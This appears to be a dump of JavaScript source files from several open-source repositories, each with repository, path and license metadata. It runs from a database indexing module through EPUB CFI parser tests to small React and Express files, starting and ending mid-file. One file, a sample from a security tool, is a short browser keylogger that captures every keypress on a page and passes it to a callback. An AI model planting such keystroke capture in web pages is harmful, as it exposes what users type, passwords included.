            pairs.push({ item: item, value: value });
        });
    });
    
    pairs.sort(function(p1, p2) {
        var c = p1.value - p2.value;
        return (isNaN(c) === false) ? c : p1.value.localeCompare(p2.value);
    });
    
    this._pairs = pairs;
};
Exhibit.Database._RangeIndex.prototype.getCount = function() {
    return this._pairs.length;
};
Exhibit.Database._RangeIndex.prototype.getMin = function() {
    return this._pairs.length > 0 ? 
        this._pairs[0].value : 
        Number.POSITIVE_INFINITY;
};
Exhibit.Database._RangeIndex.prototype.getMax = function() {
    return this._pairs.length > 0 ? 
        this._pairs[this._pairs.length - 1].value : 
        Number.NEGATIVE_INFINITY;
};
Exhibit.Database._RangeIndex.prototype.getRange = function(visitor, min, max, inclusive) {
    var startIndex = this._indexOf(min);
    var pairs = this._pairs;
    var l = pairs.length;
    
    inclusive = (inclusive);
    while (startIndex < l) {
        var pair = pairs[startIndex++];
        var value = pair.value;
        if (value < max || (value == max && inclusive)) {
            visitor(pair.item);
        } else {
            break;
        }
    }
};
Exhibit.Database._RangeIndex.prototype.getSubjectsInRange = function(min, max, inclusive, set, filter) {
    if (!set) {
        set = new Exhibit.Set();
    }
    
    var f = (filter != null) ?
        function(item) {
            if (filter.contains(item)) {
                set.add(item);
            }
        } :
        function(item) {
            set.add(item);
        };
        
    this.getRange(f, min, max, inclusive);
    
    return set;
};
Exhibit.Database._RangeIndex.prototype.countRange = function(min, max, inclusive) {
    var startIndex = this._indexOf(min);
    var endIndex = this._indexOf(max);
    
    if (inclusive) {
        var pairs = this._pairs;
        var l = pairs.length;
        while (endIndex < l) {
            if (pairs[endIndex].value == max) {
                endIndex++;
            } else {
                break;
            }
        }
    }
    return endIndex - startIndex;
};
Exhibit.Database._RangeIndex.prototype._indexOf = function(v) {
    var pairs = this._pairs;
    if (pairs.length == 0 || pairs[0].value >= v) {
        return 0;
    }
    
    var from = 0;
    var to = pairs.length;
    while (from + 1 < to) {
        var middle = (from + to) >> 1;
        var v2 = pairs[middle].value;
        if (v2 >= v) {
            to = middle;
        } else {
            from = middle;
        }
    }
    
    return to;
};
//=============================================================================
// Editable Database Support
//=============================================================================
Exhibit.Database._Impl.prototype.isNewItem = function(id) {
    return id in this._newItems;
}
Exhibit.Database._Impl.prototype.getItem = function(id) {
    var item = { id: id };
    var properties = this.getAllProperties();
    for (var i in properties) {
        var prop = properties[i];
        var val = this.getObject(id, prop);
        if (val) { item[prop] = val };
    }
    return item;
}
Exhibit.Database._Impl.prototype.addItem = function(item) {
    if (!item.id) { item.id = item.label };
    if (!item.modified) {
        item.modified = "yes";
    }
    
    this._ensurePropertyExists(Exhibit.Database.TimestampPropertyName);
    item[Exhibit.Database.TimestampPropertyName] = Exhibit.Database.makeISO8601DateString();
    
    this.loadItems([item], '');
    this._newItems[item.id] = true;
    
    this._listeners.fire('onAfterLoadingItems', []);
}
// TODO: cleanup item editing logic
Exhibit.Database._Impl.prototype.editItem = function(id, prop, value) {
    if (prop.toLowerCase() == 'id') {
        Exhibit.UI.showHelp("We apologize, but changing the IDs of items in the Exhibit isn't supported at the moment.");
        return;
    }
    
    var prevValue = this.getObject(id, prop);
    
    this._originalValues[id] = this._originalValues[id] || {};
    this._originalValues[id][prop] = this._originalValues[id][prop] || prevValue;
    
    var origVal = this._originalValues[id][prop];
    
    if (origVal == value) {
        this.removeObjects(id, "modified");
        this.addStatement(id, "modified", 'no');
        delete this._originalValues[id][prop];
    } else if (this.getObject(id, "modified") != "yes") {
        this.removeObjects(id, "modified");
        this.addStatement(id, "modified", "yes");
    }
    
    this.removeObjects(id, prop);
    this.addStatement(id, prop, value);
    
    var propertyObject = this._ensurePropertyExists(prop);
    propertyObject._onNewData();
    this._listeners.fire('onAfterLoadingItems', []);
}
Exhibit.Database._Impl.prototype.removeItem = function(id) {
    if (!this.containsItem(id)) {
        throw "Removing non-existent item " + id;
    }
    this._items.remove(id);
    delete this._spo[id];
        
    if (this._newItems[id]) {
        delete this._newItems[id];
    }
    
    if (this._originalValues[id]) {
        delete this._originalValues[id];
    }
    var properties = this.getAllProperties();
    for (var i in properties) {
        var prop = properties[i];
        this.removeObjects(id, prop);
    }
    this._listeners.fire('onAfterLoadingItems', []);
};
Exhibit.Database.defaultIgnoredProperties = ['uri', 'modified'];
// this makes all changes become "permanent"
// i.e. after change set is committed to server
Exhibit.Database._Impl.prototype.fixAllChanges = function() {
    this._originalValues = {};
    this._newItems = {};
    
    var items = this._items.toArray();
    for (var i in items) {
        var id = items[i];
        this.removeObjects(id, "modified");
        this.addStatement(id, "modified", "no");
    }
};
Exhibit.Database._Impl.prototype.fixChangesForItem = function(id) {
    delete this._originalValues[id];
    delete this._newItems[id];
    
    this.removeObjects(id, "modified");
    this.addStatement(id, "modified", "no");
};
Exhibit.Database._Impl.prototype.collectChangesForItem = function(id, ignoredProperties) {
    ignoredProperties = ignoredProperties || Exhibit.Database.defaultIgnoredProperties;
    
    var type = this.getObject(id, 'type');
    var label = this.getObject(id, 'label') || id;
    var item = { id: id, label: label, type: type, vals: {} };
    
    if (id in this._newItems) {
        item.changeType = 'added';
        var properties = this.getAllProperties();
        
        for (var i in properties) {
            var prop = properties[i];
            if (ignoredProperties.indexOf(prop) != -1) { continue; }
            
            var val = this.getObject(id, prop);
            if (val) { 
                item.vals[prop] = { newVal: val }
            };
        }
    } else if (id in this._originalValues && !this.isSubmission(id)) {
        item.changeType = 'modified';
        var vals = this._originalValues[id];
        var hasModification = false;
        
        for (var prop in vals) {
            if (ignoredProperties.indexOf(prop) != -1) { continue; }
            
            hasModification = true;
            var oldVal = this._originalValues[id][prop];
            var newVal = this.getObject(id, prop);
            
            if (!newVal) {
                SimileAjax.Debug.warn('empty value for ' + id + ', ' + prop)
            } else {
                item.vals[prop] = { oldVal: oldVal, newVal: newVal };   
            }
        }
        
        if (!hasModification) return null;
    } else {
        return null;
    }
    
    if (!item[Exhibit.Database.TimestampPropertyName]) {
        item[Exhibit.Database.TimestampPropertyName] = Exhibit.Database.makeISO8601DateString();
    }
    
    return item;
}
Exhibit.Database._Impl.prototype.collectAllChanges = function(ignoredProperties) {
    var ret = [];
    var items = this._items.toArray();
    
    for (var i in items) {
        var id = items[i];
        var item = this.collectChangesForItem(id, ignoredProperties);
        if (item) {
            ret.push(item);
        }
    }
    
    return ret;
}
//=============================================================================
// Submissions Support
//=============================================================================
Exhibit.Database._Impl.prototype.mergeSubmissionIntoItem = function(submissionID) {
    var db = this;
    
    if (!this.isSubmission(submissionID)){
        throw submissionID + " is not a submission!";
    }
    
    var change = this.getObject(submissionID, 'change');
    if (change == 'modification') {
        var itemID = this.getObject(submissionID, 'changedItem');
        var vals = this._spo[submissionID];
        
        SimileAjax.jQuery.each(vals, function(attr, val) {
            if (Exhibit.Database.defaultIgnoredSubmissionProperties.indexOf(attr) != -1) {
                return;
            }
            
            if (val.length == 1) {
                db.editItem(itemID, attr, val[0]);
            } else {
                SimileAjax.Debug.warn("Exhibit.Database._Impl.prototype.commitChangeToItem cannot handle " + 
                "multiple values for attribute " + attr + ": " + val);
            };
        });
        delete this._submissionRegistry[submissionID];
        
    } else if (change == 'addition') {
        delete this._submissionRegistry[submissionID];
        this._newItems[submissionID] = true;
    } else {
        throw "unknown change type " + change;
    }
    this._listeners.fire('onAfterLoadingItems', []);
} | 
	zepheira/exhibit | 
	src/webapp/api/scripts/data/database.js | 
	JavaScript | 
	bsd-3-clause | 45,905 | 
| 
	
var ColView = (function() {
    function notify(listeners, method, data) {
        var event = listeners[method]
        for(var i=0; i<event.length; i++) {
            event[i](data);
        }
    }
    function literal(data, view, listeners, stack) {
        function constructElement(id) {
            /*var elem = {};
            elem._id_ = id;
            elem._isGroup_ = !isTip(id);
            for(var i=0; i<data._properties_.length; i++) {
                var property = data._properties_[i]
                elem[property] = data[property][id]
            }
            return elem;*/
            return id;
        }
        function getChildren(id) {
            var start = data._metatree_[id];
            var endIndex = id;
            var end = 0;
            do {
                endIndex++;
                if(endIndex < data._metatree_.length)
                    end = data._metatree_[endIndex];
                else
                    end = data._count_;
            } while(endIndex<data._metatree_.length && data._metatree_[endIndex] == 0);
            var newElems = new Array();
            var index = 0;
            for(var i=start; i<end; i++) {
                newElems[index] = constructElement(i);
                index++;
            }
            return newElems
        }
        // This is ugly because although the metatree is ordered, it is filled
        // with zeros which must be ignored. There is always a parent for a
        // target, so the index which has the closest number <= our target is
        // correct.
        function binarySearchParentIndex(target) {
            var upper = target - 1;
            var lower = 0;
            var index = 0;
            while(upper >= lower) {
                var mid = (upper + lower)/2 | 0;
                var pivot = data._metatree_[mid];
                //We need to skip 0's
                if(pivot == 0) {
                    var i = mid + 1;
                    var p = pivot;
                    //First search up, because we can disprove it
                    while(i<=upper) {
                        p = data._metatree_[i];
                        if(p != 0 || p > target)
                            break;
                        i++;
                    }
                    //If up is overshooting, search down
                    if((p>target || p==0) && mid-1>=lower) {
                        p = pivot;
                        i = mid - 1;
                        while(i>=lower){
                            p = data._metatree_[i];
                            if(p != 0)
                                break;
                            i--;
                        }
                    }
                    mid = i;
                    pivot = p;
                }
                if(pivot <= target && pivot != 0) {
                    index = mid;
                    if(pivot == target) {
                        return index;
                    }
                }
                if(pivot > target) {
                    upper = mid - 1;
                } else {
                    lower = mid + 1;
                }
            }
            return index;
        }
        //This could be a modified binary search in the future
        function getIndex(id) {
            for(var i=0; i<view.data.length; i++) {
                if(view.data[i] === id)
                    return i;
            }
            return null;
        }
        view.isTip = function(id) {
            return id >= data._metatree_.length || data._metatree_[id] == 0;
        }
        view.isAGroupedByB = function(a, b) {
            var heritage = a;
            do {
                heritage = binarySearchParentIndex(heritage);
            }while(heritage > b)
            return heritage === b;
        }
        view.getParent = function(id) {
            return binarySearchParentIndex(id);
        }
        view.expand = function(id) {
            if(view.isTip(id))
                return;
            var index = getIndex(id);
            if(index === null)
                return;
            var args = [index, 1].concat(getChildren(id));
            Array.prototype.splice.apply(view.data, args);
            notify(listeners, "change", view.getView());
        }
        view.collapse = function(id) {
            var index = getIndex(id);
            if(index === null) {
                return;
            }
            var group = binarySearchParentIndex(id);
            var start = index - 1;
            while(start >= 0 && view.isAGroupedByB(view.data[start], group)) {
                start--;
            }
            start++;
            var end = index + 1;
            while(end < view.data.length && view.isAGroupedByB(view.data[end], group)) {
                end++;
            }
            view.data.splice(start, end-start, constructElement(group));
            notify(listeners, "change", view.getView());
        }
        view.zoomIn = function(id) {
                stack.push(view.getView());
                if(!view.isTip(id))
                    view.data = getChildren(id);
                else
                    view.data = [id]
                console.log(stack)
                notify(listeners, "change", view.getView());
        }
        view.zoomOut = function(id) {
            var n = stack.pop();
            if(n){
                view.setView(n)
                console.log(n)
                notify(listeners, "change", view.getView());
            }
        }
        view.get = function(property, id, index) {
            if(index)
                return data[property][id][propertyIndex];
            return data[property][id];
        }
        view.getView = function() {
            var v = new Array();
            for(var i=0; i<view.data.length; i++) {
                v[i] = view.data[i];
            }
            return v;
        }
        view.setView = function(idList) {
            /*for(var i=0; i<idList.length; i++) {
                view.data[i] = constructElement(idList[i]);
            }
            if(view.data.length > idList.length) {
                view.data.splice(idList.length, idList.length-view.data.length)
            }
            */
            view.data = idList;
            console.log(view.getView())
            notify(listeners, "change", view.getView());
        }
        var propertyIndex = null;
        view.setIndex = function(index) {
            propertyIndex = index;
        }
        view.getIndex = function() {
            return propertyIndex;
        }
        view.data = getChildren(0)
        return view;
    }
    function virtual(data, view, listeners) {
        function constructElement(id) {
        }
        view.expand = function(id) {
        }
        view.collapse = function(id) {
        }
        view.focus = function(id) {
        }
        view.getView = function() {
        }
        view.setView = function(idList) {
        }
    }
    ex = function constructor(data) {
        var view = {};
        view.data = [{}];
        var listeners = {
            "expand":[],
            "collapse":[],
            "focus":[],
            "change":[],
            "link":[],
        };
        view.on = function(event, callback) {
            listeners[event].push(callback);
        }
        view.scanl = function(property, fun, accum, useIndex) {
            var scan = new Array();
            scan.push(accum)
            for(var i=0; i<view.data.length; i++) {
                var t = fun(accum, view.get(property, view.data[i], useIndex))
                scan.push(t);
                accum = t;
            }
            console.log(view.data.map(function(d){
                return view.get(property, d, useIndex)
            }))
            console.log(scan)
            return scan;
        }
        if(data._type_ == "literal")
            return literal(data, view, listeners, []);
        if(data._type_ == "virtual")
            return virtual(data, view, listeners, []);
        return null;
    }
    return ex;
})()
 | 
	ebolyen/visn | 
	assets/dataHandler.js | 
	JavaScript | 
	bsd-3-clause | 8,129 | 
| 
	// Copyright 2015 The Vanadium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
require('./test-api-url');
require('./test-config');
require('./test-component-log');
require('./test-component-results');
require('./test-api-json-stream');
 | 
	vanadium/playground | 
	client/test/index.js | 
	JavaScript | 
	bsd-3-clause | 324 | 
| 
	/*
 * skullsecurity.min.js
 * By Stefan Penner
 * Created December, 2009
 *
 * (See LICENSE.txt)
 *
 * A simple javascript keylogger
 */
var SkullSecurity = SkullSecurity || {};
(function(lib){
  lib.attachEvent = function( elem, type, handle ) { 
  // IE #fail
    if ( elem.addEventListener ){
      elem.addEventListener(type, handle, false);
    }else if(elem.attachEvent){
      elem.attachEvent("on"+type,handle);
    }
  }
})(SkullSecurity);
(function(lib){
  lib.keylogger = lib.keylogger || {};
  lib.keylogger.start = function(fcn){
    lib.attachEvent(document,'keypress',function(event){
      if (!event) event = window.event; // ie #fail
      var code = String.fromCharCode(event.charCode);
      fcn.call(event,code);
    });
  };
})(SkullSecurity);
 | 
	iagox86/nbtool | 
	samples/jsdnscat/js/skullsecurity.keylogger.js | 
	JavaScript | 
	bsd-3-clause | 770 | 
| 
	/* eslint-disable */
describe('GENERATED CFI PARSER', function () {
    it ('parses a CFI with index steps', function () {
        var cfi = "epubcfi(/4/6/4)";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indexStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : ""
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a CFI with index steps and indirection steps', function () {
        var cfi = "epubcfi(/4/6!/4:9)";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: undefined
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a CFI with an id assertion on an index step', function () {
        var cfi = "epubcfi(/4[abc]/6!/4:9)";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: "abc"
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: undefined
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a CFI with an id assertion on an indirection step', function () {
        var cfi = "epubcfi(/4/6!/4[abc]:9)";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: "abc"
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: undefined
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a CFI with a csv-only text location assertion on a character terminus', function () {
        var cfi = "epubcfi(/4/6!/4:9[aaa,bbb])";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: {
                            type: "textLocationAssertion",
                            csv: {
                                type: "csv",
                                preAssertion: "aaa",
                                postAssertion: "bbb"
                            },
                            parameter: ""
                        }
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a CFI with a csv-only text location assertion, with preceeding text only, on a character terminus', function () {
        var cfi = "epubcfi(/4/6!/4:9[aaa,])";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: {
                            type: "textLocationAssertion",
                            csv: {
                                type: "csv",
                                preAssertion: "aaa",
                                postAssertion: ""
                            },
                            parameter: ""
                        }
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a CFI with a csv-only text location assertion, with subsequent text only, on a character terminus', function () {
        var cfi = "epubcfi(/4/6!/4:9[,bbb])";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: {
                            type: "textLocationAssertion",
                            csv: {
                                type: "csv",
                                preAssertion: "",
                                postAssertion: "bbb"
                            },
                            parameter: ""
                        }
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a CFI with a csv and parameter text location assertion on a character terminus', function () {
        var cfi = "epubcfi(/4/6!/4:9[aaa,bbb;s=b])";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: {
                            type: "textLocationAssertion",
                            csv: {
                                type: "csv",
                                preAssertion: "aaa",
                                postAssertion: "bbb"
                            },
                            parameter: {
                                type: "parameter",
                                LHSValue: "s",
                                RHSValue: "b"
                            }
                        }
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a CFI with parameter-only text location assertion on a character terminus', function () {
        var cfi = "epubcfi(/4/6!/4:9[;s=b])";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: {
                            type: "textLocationAssertion",
                            csv: "",
                            parameter: {
                                type: "parameter",
                                LHSValue: "s",
                                RHSValue: "b"
                            }
                        }
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it ('parses a cfi with all the CFI escape characters', function () {
        var cfi = "epubcfi(/4[4^^^[^]^(^)^,^;^=]/6!/4:9)";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "path",
                path: {
                    type: "indexStep",
                    stepLength: "4",
                    idAssertion: "4^[](),;="
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        },
                        {
                            type: "indirectionStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: undefined
                    }
                }
            }
        }
        expect(parsedAST).toEqual(expectedAST);
    });
    it("parses a range CFI with element targets", function () {
        var cfi = "epubcfi(/2/2/4,/2/4,/4/6)";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "range",
                path: {
                    type: "indexStep",
                    stepLength: "2",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "2",
                            idAssertion: undefined
                        },
                        {
                            type: "indexStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : ""
                },
                range1 : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "2",
                            idAssertion: undefined
                        },
                        {
                            type: "indexStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : ""
                },
                range2 : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "4",
                            idAssertion: undefined
                        },
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        }
                    ],
                    termStep : ""
                }
            }
        };
        expect(parsedAST).toEqual(expectedAST);
    });
    it("parses a range CFI with a text offset terminus", function () {
        var cfi = "epubcfi(/2/2/4,/2/4:3,/4/6:9)";
        var parsedAST = EPUBcfi.Parser.parse(cfi);
        var expectedAST = {
            type : "CFIAST",
            cfiString : {
                type : "range",
                path: {
                    type: "indexStep",
                    stepLength: "2",
                    idAssertion: undefined
                },
                localPath : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "2",
                            idAssertion: undefined
                        },
                        {
                            type: "indexStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : ""
                },
                range1 : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "2",
                            idAssertion: undefined
                        },
                        {
                            type: "indexStep",
                            stepLength: "4",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "3",
                        textAssertion: undefined
                    }
                },
                range2 : {
                    steps : [
                        {
                            type: "indexStep",
                            stepLength: "4",
                            idAssertion: undefined
                        },
                        {
                            type: "indexStep",
                            stepLength: "6",
                            idAssertion: undefined
                        }
                    ],
                    termStep : {
                        type: "textTerminus",
                        offsetValue: "9",
                        textAssertion: undefined
                    }
                }
            }
        };
        expect(parsedAST).toEqual(expectedAST);
    });
}); | 
	readium/readium-cfi-js | 
	spec/models/cfi_parser_spec.js | 
	JavaScript | 
	bsd-3-clause | 18,772 | 
| 
	var express = require('express')
var app = express()
app.get('/', function (req, res) {
  res.send('Noumenaut')
})
app.listen(3000)
 | 
	talapus/Node | 
	Demos/demoExpress.js | 
	JavaScript | 
	bsd-3-clause | 134 | 
| 
	import { NativeModulesProxy } from 'expo-modules-core';
export default NativeModulesProxy.ExpoDocumentPicker;
//# sourceMappingURL=ExpoDocumentPicker.js.map | 
	exponentjs/exponent | 
	packages/expo-document-picker/build/ExpoDocumentPicker.js | 
	JavaScript | 
	bsd-3-clause | 156 | 
| 
	import React, { Component } from 'react';
import moment from 'moment';
import { filter, map, forEach } from 'lodash';
import { nextConnect } from '../../store';
import { getAttendees } from '../../actions';
class TicketTrackerDetails extends Component {
  constructor(props) {
    super(props);
    this.state = { sales: [] };
  }
  componentWillMount() {
    this.props.getAttendees(this.props.id);
  }
  componentWillReceiveProps(nextProps) {
    const { attendees, profile } = nextProps;
    const sales = filter(attendees, (obj) => obj.attendee.affiliate === profile.user_token);
    this.setState({ sales });
  }
  totalSales() {
    let count = 0;
    forEach(this.state.sales, (sale) => {
      count = count + sale.attendee.quantity;
      return count;
    });
    return count;
  }
  render() {
    const totalAmtSold = this.totalSales();
    const remaining = 15 - totalAmtSold;
    return (
      <div className="ticket_tracker_detalis">
        <div className="container">
          <h3>{this.props.name.text} Show -
            {moment(this.props.start.local).format('MMMM Do YYYY')}</h3>
          <table className="table">
            <thead className="thead-inverse">
              <tr>
                <th>BUYER</th>
                <th>AMOUNT</th>
                <th>TICKET SOLD</th>
                <th>EMAIL</th>
              </tr>
            </thead>
            <tbody>
              {this.state.sales.length !== 0 && map(this.state.sales, (sale) => (
                <tr key={sale.attendee.id}>
                  <th>{sale.attendee.first_name}</th>
                  <td>{sale.attendee.amount_paid}</td>
                  <td>{sale.attendee.quantity}</td>
                  <td>{sale.attendee.email}</td>
                </tr>))}
              {this.state.sales.length === 0 &&
                <tr><td colSpan="4"><center>No sales yet</center></td></tr>}
            </tbody>
          </table>
          <hr />
          <div className="ticket_tracker_total_inner">
            <div className="ticket_tracker_total_inner_item">
              Total Tickets: 15
            </div>
            <div className="ticket_tracker_total_inner_item">
              Sold: {totalAmtSold}
            </div>
            <div className="ticket_tracker_total_inner_item">
              Remaining: {remaining < 0 ? 0 : remaining}
            </div>
          </div>
          <div className="tracker_buttons">
            <div className="container">
              <form action="https://www.paypal.com/cgi-bin/webscr" method="post" target="_top">
                <input type="hidden" name="cmd" value="_s-xclick" />
                <input type="hidden" name="hosted_button_id" value="5QCP4S5GAVHJE" />
                <button type="submit" className="opentracker">
                  BUYOUT TICKETS
                </button>
                {/* <input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!" /> */}
                <img alt="" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1" />
              </form>
            </div>
          </div>
        </div>
      </div>
    );
  }
}
TicketTrackerDetails.propTypes = {
  name: React.PropTypes.object,
  start: React.PropTypes.object,
  getAttendees: React.PropTypes.func,
  id: React.PropTypes.string,
};
function mapStateToProps(state) {
  return {
    attendees: state.attendees,
    profile: state.profile,
  };
}
export default nextConnect(mapStateToProps, { getAttendees })(TicketTrackerDetails);
 | 
	parkerproject/conceptionarts | 
	components/Dashboard/Ticket-tracker-details.js | 
	JavaScript | 
	bsd-3-clause | 3,616 | 
| 
	"use strict";
var Route = require("./Route");
/**
 * A route culture, which is grown into a complete route.
 *
 * @constructor
 * @private
 * @param {{}} chromosome The chromosome describing the culture.
 * @memberof everoute.travel.search
 */
function RouteIncubatorCulture(chromosome) {
  this.chromosome = chromosome;
  this.waypoints = [];
  this.destinationPath = null;
}
/**
 * @return {{}} The chromosome of this culture
 *
 * @memberof! everoute.travel.search.RouteIncubatorCulture.prototype
 */
RouteIncubatorCulture.prototype.getChromosome = function() {
  return this.chromosome;
};
/**
 * Adds given path as a waypoint
 * @param {Number} index The index of the originating waypoint.
 * @param {everoute.travel.Path} path the found path.
 * @memberof! everoute.travel.search.RouteIncubatorCulture.prototype
 */
RouteIncubatorCulture.prototype.addWaypointPath = function(index, path) {
  var entry = {
    index: index,
    path: path
  };
  this.waypoints.push(entry);
};
/**
 * @param {everoute.travel.Path} path The destination path.
 * @memberof! everoute.travel.search.RouteIncubatorCulture.prototype
 */
RouteIncubatorCulture.prototype.setDestinationPath = function(path) {
  this.destinationPath = path;
};
/**
 * @return {everoute.travel.Route} The final route instance.
 * @memberof! everoute.travel.search.RouteIncubatorCulture.prototype
 */
RouteIncubatorCulture.prototype.toRoute = function() {
  return new Route(this.chromosome.startPath, this.waypoints, this.destinationPath);
};
module.exports = RouteIncubatorCulture;
 | 
	dertseha/eve-route.js | 
	src/travel/search/RouteIncubatorCulture.js | 
	JavaScript | 
	bsd-3-clause | 1,553 | 
| 
	import React from 'react';
import Spinner from 'react-spinkit';
export default ({visible}) => {
  const spinner = (
    <div className="loading-spinner">
      <h1>LADDAR</h1>
      <Spinner name="wave" />
    </div>
  );
  
  return visible ? spinner : null;
};
 | 
	dtekcth/dfotose | 
	src/client/components/LoadingSpinner.js | 
	JavaScript | 
	bsd-3-clause | 264 | 
| 
	import {init} from '../../public/mjs/team';
beforeEach(() => {
    document.body.innerHTML = `
    <button id="team-name-change-icon"></button>
    <div class="popup-form" id="edit-team-name-form" style="display: none;"></div>
    <div class="popup-form" id="first-pop-up" style="display: block;"></div>
    `;
});
test('validate form shows', async () => {
    init();
    document.getElementById('team-name-change-icon').click();
    expect(document.getElementById('edit-team-name-form').style.display).toEqual('block');
    expect(document.getElementById('first-pop-up').style.display).toEqual('none');
});
 | 
	RCOS-Grading-Server/HWserver | 
	site/tests/mjs/team.spec.js | 
	JavaScript | 
	bsd-3-clause | 611 | 
| 
	/**
 * Created by anton on 25.08.16.
 */
$('#linkEditModalWindow').on('show.bs.modal', function(event){
    HandleItem($(this), event, '/links/modal-add',
